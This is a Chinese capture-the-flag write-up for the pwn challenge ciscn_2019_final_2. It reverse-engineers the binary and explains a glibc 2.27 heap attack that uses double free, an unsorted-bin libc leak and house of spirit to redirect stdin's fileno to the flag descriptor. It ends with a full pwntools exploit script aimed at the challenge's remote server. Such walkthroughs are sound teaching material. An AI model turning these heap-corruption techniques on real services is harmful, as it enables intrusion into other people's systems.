• ciscn_2019_final_2


    逆向分析

    ------------------------
    1: add an inode 
    2: remove an inode 
    3: show an inode 
    4: leave message and exit. 
    ------------------------
    which command?
    > 
    

    init 函数

      fd = open("flag", 0);
      if ( fd == -1 )
      {
        puts("no such file :flag");
        exit(-1);
      }
      dup2(fd, 666);
    
    • 程序开始时将 flag 的 fd 指针改为 666 .

    add 函数

        int_pt = malloc(0x20uLL);
        short_pt = malloc(0x10uLL);
        bool = 1;
        v0 = int_pt;
        *v0 = get_atoi();
        v1 = get_atoi();
        *(_WORD *)short_pt = v1;
        *((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
        *((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
    
    • 可以分配 0x20 或 0x10 大小的 chunk 。
    • 将输入的数字存储在 mem 指针起始处。
    • 在 mem 指针 8 字节偏移处存储输入的数字。

    remove 函数

        if ( bool )
        free(int_pt);
        bool = 0;
        free(short_pt);
        bool = 0;
    
    • 释放指针对应的块,注意指针置 0 。
    • 全局变量的限制,不能连续释放。

    show 函数

        v0 = show_time--;
        printf("your int type inode number :%d
    ", *(unsigned int *)int_pt);
        printf("your short type inode number :%d
    ", (unsigned int)*(signed __int16 *)short_pt);
    
    • show_time 限制只能 show 三次。
    • 打印 chunk 的内容。

    leave 函数

        __isoc99_scanf("%99s", &v0);
        printf("your message :%s we have received...
    ", &v0);
    
    • 写入 message 并输出。

    利用思路

    • 分配足够多的 tcachebin 使其合并进入 unorted bin 。
    • 通过 unsorted bin 的 fd 指针泄露 libc 的基址,并计算出 fileno 的地址。
    • 运用 double free 与 house of spirit 技术将 stdin 的 fileno 改为 666 ,这样 scanf 的时候就会从 flag 文件中读取数据。
    • 触发 leave 函数,打印 flag 。

    exp 脚本

    from pwn_debug import *
    
    pdbg = pwn_debug('ciscn_final_2')
    pdbg.debug('2.27')
    pdbg.remote('node3.buuoj.cn',25742)
    p = pdbg.run('remote')
    elf = ELF('./ciscn_final_2')
    libc = ELF('./libc/libc-2.27.so')
    
    def add(add_type, add_num):
        p.sendlineafter('which command?
    > ', '1')
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(add_type))
        p.sendafter('your inode number:', str(add_num))
    
    def remove(remove_type):
        p.sendlineafter('which command?
    > ', '2')
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(remove_type))
    
    def show(show_type):
        p.sendlineafter('which command?
    > ', '3')
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(show_type))
        if show_type == 1:
            p.recvuntil('your int type inode number :')
        elif show_type == 2:
            p.recvuntil('your short type inode number :')
        return int(p.recvuntil('
    ', drop=True))
    
    add(1,0x30)
    remove(1)
    add(2,0x20)
    add(2,0x20)
    add(2,0x20)
    add(2,0x20)
    remove(2)
    add(1,0x30)
    remove(2)
    addr_chunk0_prev_size = show(2) - 0xa0
    add(2, addr_chunk0_prev_size)
    add(2, addr_chunk0_prev_size)
    add(2, 0x91)
    
    for i in range(0, 7):
        remove(1)
        add(2, 0x20)
    remove(1)
    
    addr_main_arena = show(1) - 96
    libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
    addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
    
    add(1, addr__IO_2_1_stdin__fileno)
    add(1, 0x30) 
    remove(1)
    add(2, 0x20)
    remove(1)
    addr_chunk0_fd = show(1) - 0x30
    add(1, addr_chunk0_fd)
    add(1, addr_chunk0_fd)
    add(1, 111)
    add(1, 666)
    
    p.sendlineafter('which command?
    > ', '4')
    p.recvuntil('your message :')
    
    p.interactive()
    

    get flag

    内容来源

    【BUUCTF】Pwn--Ciscn_2019_final_2
    感谢 binLep 师傅的指点!

  • 相关阅读:
    POJ1486 Sorting Slides 二分图or贪心
    POJ2060 Taxi Cab Scheme 最小路径覆盖
    POJ3083 Children of the Candy Corn 解题报告
    以前的文章
    POJ2449 Remmarguts' Date K短路经典题
    这一年的acm路
    POJ3014 Asteroids 最小点覆盖
    POJ2594 Treasure Exploration 最小路径覆盖
    POJ3009 Curling 2.0 解题报告
    POJ2226 Muddy Fields 最小点集覆盖
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12409143.html
Copyright © 2020-2023  润新知